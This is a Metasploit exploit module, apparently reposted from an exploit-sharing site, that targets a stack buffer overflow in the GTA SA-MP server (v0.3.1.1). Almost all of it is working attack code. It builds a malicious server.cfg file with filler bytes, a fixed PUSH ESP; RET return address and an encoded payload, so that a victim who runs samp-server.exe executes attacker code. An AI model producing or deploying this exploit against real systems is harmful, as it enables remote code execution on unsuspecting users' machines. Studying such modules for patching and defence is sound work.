GTA SA-MP server.cfg Buffer Overflow

##
# $Id: gta_samp.rb 14076 2011-10-26 22:16:26Z mc $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'GTA SA-MP server.cfg Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack-based buffer overflow in GTA SA-MP Server.
                This buffer overflow occurs when the application attempts to open a malformed
                server.cfg file.  To exploit this vulnerability, an attacker must send the
                victim a server.cfg file and have them run samp-server.exe.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Silent_Dream',  # Original discovery, MSF Module, template by mona.py
                ],
            'Version'        => '$Revision: 14076 $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/17893' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Platform'       => 'win',
            'Payload'        =>
                {
                    'BadChars'       => "\x0d\x0a\x1a",
                    'Space'          => 392,
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
                    'DisableNops'    => true,
                    'MaxSize'        => 392,
                },
 
            'Targets'        =>
                [
                    [
                        'GTA SA-MP (samp-server) v0.3.1.1',
                        {
                            'Ret' => 0x00429faa, # PUSH ESP; RET (samp-server.exe)
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Sep 18 2011',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'server.cfg'])
            ], self.class)
 
    end
 
    def exploit
 
        buffer = "echo "
        buffer << rand_text_alpha_upper(379)
        buffer << [target.ret].pack('V')
        buffer << payload.encoded
        file_create(buffer)
 
    end
end



#  0day.today [2018-03-05]  #